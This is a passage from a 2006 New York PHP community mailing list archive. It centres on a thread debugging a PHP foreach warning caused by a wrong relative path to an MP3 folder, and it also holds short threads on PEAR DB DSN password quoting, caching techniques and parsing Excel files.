= '.';} >> 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= >> end(explode('/',$item));} >> 5. foreach($sort as $sorteditem){ >> 6. if($sort){natsort($sort);} >> 7. foreach($sort as $item){$return[]= $item;} >> 8. if(!$return){return array();} >> 9. } >> 10. return $return; >> 11. } ?> >> 12. >> 13. ') ; ?> >> 14. > autoStart="yes"> >> 15. ' ; >> 17. $sFolder = '../Audio/Music' ; >> 18. foreach(readD($sFolder) as $item) >> 19. { >> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? >> Am I a moron? > > what are the errors? Is line five looping on an empty array > > ---------------------------------------------------------------------- -- > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > ------------------------------------------------------------------------ > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From rmarscher at beaffinitive.com Mon Jul 17 19:38:15 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Mon, 17 Jul 2006 19:38:15 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <00a801c6a9f2$c2d9a0e0$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced> <44BBFF44.4040603@beaffinitive.com> <00a801c6a9f2$c2d9a0e0$0619a8c0@ced> Message-ID: <44BC1F67.5060707@beaffinitive.com> Oh... you know what... I didn't notice on the first read that the first 11 lines were a function definition. Here's what you want between line 4 and 5: if (! is_array($sort)) { return array(); } That should solve it hopefully :) -Rob CED wrote: > The IF statement does solve the one warning... > > but the foreach call including the function is still erroring. > > ----- Original Message ----- > From: "Rob Marscher" > To: "NYPHP Talk" > Sent: Monday, July 17, 2006 5:21 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > I'm pretty certain what's happening here is that the glob function is > returning an empty array which is why the foreach on line 4 doesn't give > an error, but it also doesn't set $sort to anything. > > foreach requires that the first argument is an array. So that's why you > get errors on lines 5 and 18. You should add a condition between line 4 > and 5 that does something like "if (! is_array($sort))" and then > displays an empty xml doc and exits if that is the case. > > -Rob > > CED wrote: >> www.EdwardPrevost.info/Audio >> >> You'll see the basic structure there >> /Music is the MP3 files >> /mp3 is the PHP file >> >> The error is a basic WARNING Invalid argument supplied for foreach() on >> line 5. Same thing reported for Line 18. >> >> ----- Original Message ----- >> *From:* lists at jack-scott.com >> *To:* NYPHP Talk >> *Sent:* Monday, July 17, 2006 4:11 PM >> *Subject:* Re: [nycphp-talk] foreach ERROR >> >> >> On Mon, 2006-07-17 at 15:43 -0400, CED wrote: >>> Sirs, >>> I have used variables many times in foreach statements... and >>> having spent several hours tryignt o debug this I thought I'd >>> throw it out here: >>> >>> 1. >> 2. function readD($dir){ >>> 3. if(!$dir){$dir = '.';} >>> 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= >>> end(explode('/',$item));} >>> 5. foreach($sort as $sorteditem){ >>> 6. if($sort){natsort($sort);} >>> 7. foreach($sort as $item){$return[]= $item;} >>> 8. if(!$return){return array();} >>> 9. } >>> 10. return $return; >>> 11. } ?> >>> 12. >>> 13. ') ; ?> >>> 14. >> autoStart="yes"> >>> 15. ' ; >>> 17. $sFolder = '../Audio/Music' ; >>> 18. foreach(readD($sFolder) as $item) >>> 19. { >>> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? >>> Am I a moron? >> what are the errors? Is line five looping on an empty array >> >> ---------------------------------------------------------------------- > -- >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> >> NYPHPCon 2006 Presentations Online >> http://www.nyphpcon.com >> >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> >> >> ------------------------------------------------------------------------ >> >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> >> NYPHPCon 2006 Presentations Online >> http://www.nyphpcon.com >> >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From jeff.loiselle at gmail.com Tue Jul 18 10:19:25 2006 From: jeff.loiselle at gmail.com (Jeff Loiselle) Date: Tue, 18 Jul 2006 10:19:25 -0400 Subject: [nycphp-talk] PEAR:DB and DSN Quoting Message-ID: <4b1887110607180719j734634d5jea066c54940a3d87@mail.gmail.com> Hello, PEAR DB is cool, and I know it's being phased out, but I am still having issues with DSN quoting. A password like "ru2H=yE7u" simply doesnt not seem to work for me. I am currently using MySQL 5. I followed the quoting instructions in the docs concerning using URI hex codings "ru2H%3dyE7u" but I still can't login. Anyone else ever have any of these problems? http://pear.php.net/manual/en/package.database.db.intro-dsn.php -- --- Jeff Loiselle Web Developer, Musician, and Observer http://jeff.loiselles.com ""A man is what he thinks about all day long." - Ralph Waldo Emerson From ps at pswebcode.com Tue Jul 18 11:15:23 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Tue, 18 Jul 2006 11:15:23 -0400 Subject: [nycphp-talk] PEAR:DB and DSN Quoting In-Reply-To: <4b1887110607180719j734634d5jea066c54940a3d87@mail.gmail.com> Message-ID: <004401c6aa7c$fe0b0700$68e4a144@Rubicon> You should present you exact error message(s), but have you examined this issue bearing in mind that the MySQL internal password encryption technique has evolved from version 3 to 4 to 5 and that many client-side tools and scripts have not matched the MySQL change(s). Sometimes you need to force change how MySQL is handling passwords to move ahead. Google your error message(s) to get quick tips. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jeff Loiselle Sent: Tuesday, July 18, 2006 10:19 AM To: NYPHP Talk Subject: [nycphp-talk] PEAR:DB and DSN Quoting Hello, PEAR DB is cool, and I know it's being phased out, but I am still having issues with DSN quoting. A password like "ru2H=yE7u" simply doesnt not seem to work for me. I am currently using MySQL 5. I followed the quoting instructions in the docs concerning using URI hex codings "ru2H%3dyE7u" but I still can't login. Anyone else ever have any of these problems? http://pear.php.net/manual/en/package.database.db.intro-dsn.php -- --- Jeff Loiselle Web Developer, Musician, and Observer http://jeff.loiselles.com ""A man is what he thinks about all day long." - Ralph Waldo Emerson _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From Consult at CovenantEDesign.com Tue Jul 18 19:27:29 2006 From: Consult at CovenantEDesign.com (CED) Date: Tue, 18 Jul 2006 19:27:29 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced> <44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced> <44BC1F67.5060707@beaffinitive.com> Message-ID: <00b401c6aac1$bcd31d00$0619a8c0@ced> Rob, I placed that iteration areound the last portion of the function, still no worky. Code errors on Line 23 now.. foreach(readd($sFolder) as $item) hmmm -Ed ----- Original Message ----- From: "Rob Marscher" To: "NYPHP Talk" Sent: Monday, July 17, 2006 7:38 PM Subject: Re: [nycphp-talk] foreach ERROR Oh... you know what... I didn't notice on the first read that the first 11 lines were a function definition. Here's what you want between line 4 and 5: if (! is_array($sort)) { return array(); } That should solve it hopefully :) -Rob CED wrote: > The IF statement does solve the one warning... > > but the foreach call including the function is still erroring. > > ----- Original Message ----- > From: "Rob Marscher" > To: "NYPHP Talk" > Sent: Monday, July 17, 2006 5:21 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > I'm pretty certain what's happening here is that the glob function is > returning an empty array which is why the foreach on line 4 doesn't give > an error, but it also doesn't set $sort to anything. > > foreach requires that the first argument is an array. So that's why you > get errors on lines 5 and 18. You should add a condition between line 4 > and 5 that does something like "if (! is_array($sort))" and then > displays an empty xml doc and exits if that is the case. > > -Rob > > CED wrote: >> www.EdwardPrevost.info/Audio >> >> You'll see the basic structure there >> /Music is the MP3 files >> /mp3 is the PHP file >> >> The error is a basic WARNING Invalid argument supplied for foreach() on >> line 5. Same thing reported for Line 18. >> >> ----- Original Message ----- >> *From:* lists at jack-scott.com >> *To:* NYPHP Talk >> *Sent:* Monday, July 17, 2006 4:11 PM >> *Subject:* Re: [nycphp-talk] foreach ERROR >> >> >> On Mon, 2006-07-17 at 15:43 -0400, CED wrote: >>> Sirs, >>> I have used variables many times in foreach statements... and >>> having spent several hours tryignt o debug this I thought I'd >>> throw it out here: >>> >>> 1. >> 2. function readD($dir){ >>> 3. if(!$dir){$dir = '.';} >>> 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= >>> end(explode('/',$item));} >>> 5. foreach($sort as $sorteditem){ >>> 6. if($sort){natsort($sort);} >>> 7. foreach($sort as $item){$return[]= $item;} >>> 8. if(!$return){return array();} >>> 9. } >>> 10. return $return; >>> 11. } ?> >>> 12. >>> 13. ') ; ?> >>> 14. >> autoStart="yes"> >>> 15. ' ; >>> 17. $sFolder = '../Audio/Music' ; >>> 18. foreach(readD($sFolder) as $item) >>> 19. { >>> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? >>> Am I a moron? >> what are the errors? Is line five looping on an empty array >> >> --------------------------------------------------------------------- - > -- >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> >> NYPHPCon 2006 Presentations Online >> http://www.nyphpcon.com >> >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> >> >> ------------------------------------------------------------------------ >> >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> >> NYPHPCon 2006 Presentations Online >> http://www.nyphpcon.com >> >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From kenrbnsn at rbnsn.com Tue Jul 18 19:37:44 2006 From: kenrbnsn at rbnsn.com (Ken Robinson) Date: Tue, 18 Jul 2006 19:37:44 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <00b401c6aac1$bcd31d00$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost> <002a01c6a9de$0f47b7b0$0619a8c0@ced> <44BBFF44.4040603@beaffinitive.com> <00a801c6a9f2$c2d9a0e0$0619a8c0@ced> <44BC1F67.5060707@beaffinitive.com> <00b401c6aac1$bcd31d00$0619a8c0@ced> Message-ID: <7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> At 07:27 PM 7/18/2006, CED wrote: >Rob, > >I placed that iteration areound the last portion of the function, still no >worky. > >Code errors on Line 23 now.. > >foreach(readd($sFolder) as $item) Can you post the current non-working script? With so many different suggestions, I'd like to be able to see what you're seeing. Ken From Consult at CovenantEDesign.com Tue Jul 18 20:00:39 2006 From: Consult at CovenantEDesign.com (CED) Date: Tue, 18 Jul 2006 20:00:39 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced> <7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> Message-ID: <00c401c6aac6$5f2bcb70$0619a8c0@ced> This is the most recent, and stripped down, state: And this is still the error: Warning: Invalid argument supplied for foreach() in /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line 4 I Am Completely Baffled. -Ed ----- Original Message ----- From: "Ken Robinson" To: "NYPHP Talk" Sent: Tuesday, July 18, 2006 7:37 PM Subject: Re: [nycphp-talk] foreach ERROR At 07:27 PM 7/18/2006, CED wrote: >Rob, > >I placed that iteration areound the last portion of the function, still no >worky. > >Code errors on Line 23 now.. > >foreach(readd($sFolder) as $item) Can you post the current non-working script? With so many different suggestions, I'd like to be able to see what you're seeing. Ken _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From Consult at CovenantEDesign.com Tue Jul 18 20:02:33 2006 From: Consult at CovenantEDesign.com (CED) Date: Tue, 18 Jul 2006 20:02:33 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced> Message-ID: <00cc01c6aac6$a3214170$0619a8c0@ced> It's almost like it doesn't like the $sort being passed to it... hmmm ----- Original Message ----- From: "CED" To: "NYPHP Talk" Sent: Tuesday, July 18, 2006 8:00 PM Subject: Re: [nycphp-talk] foreach ERROR This is the most recent, and stripped down, state: And this is still the error: Warning: Invalid argument supplied for foreach() in /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line 4 I Am Completely Baffled. -Ed ----- Original Message ----- From: "Ken Robinson" To: "NYPHP Talk" Sent: Tuesday, July 18, 2006 7:37 PM Subject: Re: [nycphp-talk] foreach ERROR At 07:27 PM 7/18/2006, CED wrote: >Rob, > >I placed that iteration areound the last portion of the function, still no >worky. > >Code errors on Line 23 now.. > >foreach(readd($sFolder) as $item) Can you post the current non-working script? With so many different suggestions, I'd like to be able to see what you're seeing. Ken _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From ashaw at polymerdb.org Tue Jul 18 23:14:14 2006 From: ashaw at polymerdb.org (Allen Shaw) Date: Tue, 18 Jul 2006 22:14:14 -0500 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <00cc01c6aac6$a3214170$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced> <00cc01c6aac6$a3214170$0619a8c0@ced> Message-ID: <44BDA386.9020903@polymerdb.org> Ed, Did you try var_dump($sort) to see what's in $sort? Seems clear that php doesn't like $sort, and a var_dump might tell you why. - Allen CED wrote: > It's almost like it doesn't like the $sort being passed to it... hmmm > > > ----- Original Message ----- > From: "CED" > To: "NYPHP Talk" > Sent: Tuesday, July 18, 2006 8:00 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > This is the most recent, and stripped down, state: > > $dir = '../Audio/Music'; > foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));} > foreach($sort as $item){$return[]= $item;} > if(!$return){return array();} > > echo($return[0]) ; > ?> > > > And this is still the error: > > Warning: Invalid argument supplied for foreach() in > /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line > 4 > > I Am Completely Baffled. > > -Ed > > > > ----- Original Message ----- > From: "Ken Robinson" > To: "NYPHP Talk" > Sent: Tuesday, July 18, 2006 7:37 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > At 07:27 PM 7/18/2006, CED wrote: > >>Rob, >> >>I placed that iteration areound the last portion of the function, still no >>worky. >> >>Code errors on Line 23 now.. >> >>foreach(readd($sFolder) as $item) > > > > > Can you post the current non-working script? With so many different > suggestions, I'd like to be able to see what you're seeing. > > Ken > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Allen Shaw Polymer (http://polymerdb.org) From Consult at CovenantEDesign.com Wed Jul 19 07:12:11 2006 From: Consult at CovenantEDesign.com (CED) Date: Wed, 19 Jul 2006 07:12:11 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced><00cc01c6aac6$a3214170$0619a8c0@ced> <44BDA386.9020903@polymerdb.org> Message-ID: <005001c6ab24$306a6810$0619a8c0@ced> Yeah, it's NULL. So it apparently is the path I"m passing. hmmm. ----- Original Message ----- From: "Allen Shaw" To: "NYPHP Talk" Sent: Tuesday, July 18, 2006 11:14 PM Subject: Re: [nycphp-talk] foreach ERROR Ed, Did you try var_dump($sort) to see what's in $sort? Seems clear that php doesn't like $sort, and a var_dump might tell you why. - Allen CED wrote: > It's almost like it doesn't like the $sort being passed to it... hmmm > > > ----- Original Message ----- > From: "CED" > To: "NYPHP Talk" > Sent: Tuesday, July 18, 2006 8:00 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > This is the most recent, and stripped down, state: > > $dir = '../Audio/Music'; > foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));} > foreach($sort as $item){$return[]= $item;} > if(!$return){return array();} > > echo($return[0]) ; > ?> > > > And this is still the error: > > Warning: Invalid argument supplied for foreach() in > /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line > 4 > > I Am Completely Baffled. > > -Ed > > > > ----- Original Message ----- > From: "Ken Robinson" > To: "NYPHP Talk" > Sent: Tuesday, July 18, 2006 7:37 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > At 07:27 PM 7/18/2006, CED wrote: > >>Rob, >> >>I placed that iteration areound the last portion of the function, still no >>worky. >> >>Code errors on Line 23 now.. >> >>foreach(readd($sFolder) as $item) > > > > > Can you post the current non-working script? With so many different > suggestions, I'd like to be able to see what you're seeing. > > Ken > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -- Allen Shaw Polymer (http://polymerdb.org) _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From nyphp at n0p.net Wed Jul 19 09:32:44 2006 From: nyphp at n0p.net (Flavio daCosta) Date: Wed, 19 Jul 2006 09:32:44 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <00cc01c6aac6$a3214170$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced> <00cc01c6aac6$a3214170$0619a8c0@ced> Message-ID: <44BE347C.2040101@n0p.net> I haven't been following along, so forgive me if this has been already covered. Looking at the error and the code, for one, I can see a problem with the path. You are in '.../Audio/mp3', what you want is '../Music'. Secondly, I'm not really sure what your objectives are, but it appears that some simplification is in order. Food for thought: > From: "CED" > This is the most recent, and stripped down, state: > > $dir = '../Audio/Music'; > foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));} > foreach($sort as $item){$return[]= $item;} > if(!$return){return array();} > > echo($return[0]) ; > ?> > > And this is still the error: > > Warning: Invalid argument supplied for foreach() in > /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line > 4 From mitch.pirtle at gmail.com Wed Jul 19 09:49:16 2006 From: mitch.pirtle at gmail.com (Mitch Pirtle) Date: Wed, 19 Jul 2006 09:49:16 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration settingstrategy In-Reply-To: <20060710183927.21247.qmail@web52211.mail.yahoo.com> References: <20060710183927.21247.qmail@web52211.mail.yahoo.com> Message-ID: <330532b60607190649u5a42d0c9y3047e1bd3ffae88d@mail.gmail.com> On 7/10/06, P Yurt wrote: > When you ask: So you're not caching your output? ;-) > Are you referring to caching the entire site so that is displays > without > hitting the PHP engine or DB server? > > If so, what is the price paid for "caching" Depending on your setup, and your application requirements, you have many opportunities for caching: 1) At the database level. MySQL provides a query cache that easily provides this capability. Basically your configuration information in the database would be stored in a cached query result, and since your configuration would rarely change I would say this is a very good scenario for the query cache to provide benefit. 2) At the code/execution level. You could install PHP accelerators and bytecode compilers that cache all of your PHP scripts, so they are no longer parsed for every single access by the client. 3) At the code/output level. You could use a caching library to cache output of your PHP scripts, for example say one script generated a login form, you could use Cache_Lite from PEAR so that your form wouldn't need to be constantly generated (and regenerated). 4) At the transport level. You could proxy your application output, so that your entire website resided in memory on a proxy server that was in front of your application server. This would mean someone could browse an entire site without requiring a single PHP script to be executed. I'm presenting next week at NYPHP, do come by and we can make sure caching techniques are discussed. I've certainly learned a lot, and would like to know what everyone else's experiences were. -- Mitch From rmarscher at beaffinitive.com Wed Jul 19 10:09:18 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Wed, 19 Jul 2006 10:09:18 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <00c401c6aac6$5f2bcb70$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced> <7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced> Message-ID: <44BE3D0E.2010001@beaffinitive.com> Looks like you put the "if(!$return){return array();}" in the wrong spot. The underlying problem here is that glob("$dir/*.mp3") is not finding any mp3 files. My suggestions were working towards preventing a php error from occuring if it doesn't find any mp3 files. The reason that you are getting errors is because you have to supply any "foreach" statement with an array. Currently, some of your foreach's are getting supplied NULL when no mp3 files are found and that's what causes the errors. Here's my updated version of the original 19 lines you supplied (line 4a is what I added): 1. 12. 13. ') ; ?> 14. 15. ' ; 16. 17. $sFolder = '../Audio/Music' ; 18. foreach(readD($sFolder) as $item) 19. { Hope that clears it up. -Rob CED wrote: > This is the most recent, and stripped down, state: > > $dir = '../Audio/Music'; > foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));} > foreach($sort as $item){$return[]= $item;} > if(!$return){return array();} > > echo($return[0]) ; > ?> > > > And this is still the error: > > Warning: Invalid argument supplied for foreach() in > /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line > 4 > > I Am Completely Baffled. > > -Ed > > > > ----- Original Message ----- > From: "Ken Robinson" > To: "NYPHP Talk" > Sent: Tuesday, July 18, 2006 7:37 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > At 07:27 PM 7/18/2006, CED wrote: >> Rob, >> >> I placed that iteration areound the last portion of the function, still no >> worky. >> >> Code errors on Line 23 now.. >> >> foreach(readd($sFolder) as $item) > > > > Can you post the current non-working script? With so many different > suggestions, I'd like to be able to see what you're seeing. > > Ken > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From jeff.loiselle at gmail.com Wed Jul 19 21:43:30 2006 From: jeff.loiselle at gmail.com (Jeff Loiselle) Date: Wed, 19 Jul 2006 21:43:30 -0400 Subject: [nycphp-talk] Parsing Excel Files Message-ID: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com> Been googling and wondering.. anyone have a solution they'd reccomend? --- Jeff Loiselle Web Developer, Musician, and Observer http://jeff.loiselles.com From Consult at CovenantEDesign.com Wed Jul 19 22:04:32 2006 From: Consult at CovenantEDesign.com (CED) Date: Wed, 19 Jul 2006 22:04:32 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com> <00c401c6aac6$5f2bcb70$0619a8c0@ced><00cc01c6aac6$a3214170$0619a8c0@ced> <44BE347C.2040101@n0p.net> Message-ID: <009101c6aba0$d809b630$0619a8c0@ced> Awesome, That was the issue, my script was fine, the $dir was amiss, changed it to '../Music, and all is wonderful. Thanks to evceryone who helped over the past few days. Cheers ----- Original Message ----- From: "Flavio daCosta" To: "NYPHP Talk" Sent: Wednesday, July 19, 2006 9:32 AM Subject: Re: [nycphp-talk] foreach ERROR I haven't been following along, so forgive me if this has been already covered. Looking at the error and the code, for one, I can see a problem with the path. You are in '.../Audio/mp3', what you want is '../Music'. Secondly, I'm not really sure what your objectives are, but it appears that some simplification is in order. Food for thought: > From: "CED" > This is the most recent, and stripped down, state: > > $dir = '../Audio/Music'; > foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));} > foreach($sort as $item){$return[]= $item;} > if(!$return){return array();} > > echo($return[0]) ; > ?> > > And this is still the error: > > Warning: Invalid argument supplied for foreach() in > /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line > 4 _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From arzala at gmail.com Wed Jul 19 23:40:54 2006 From: arzala at gmail.com (Anirudh 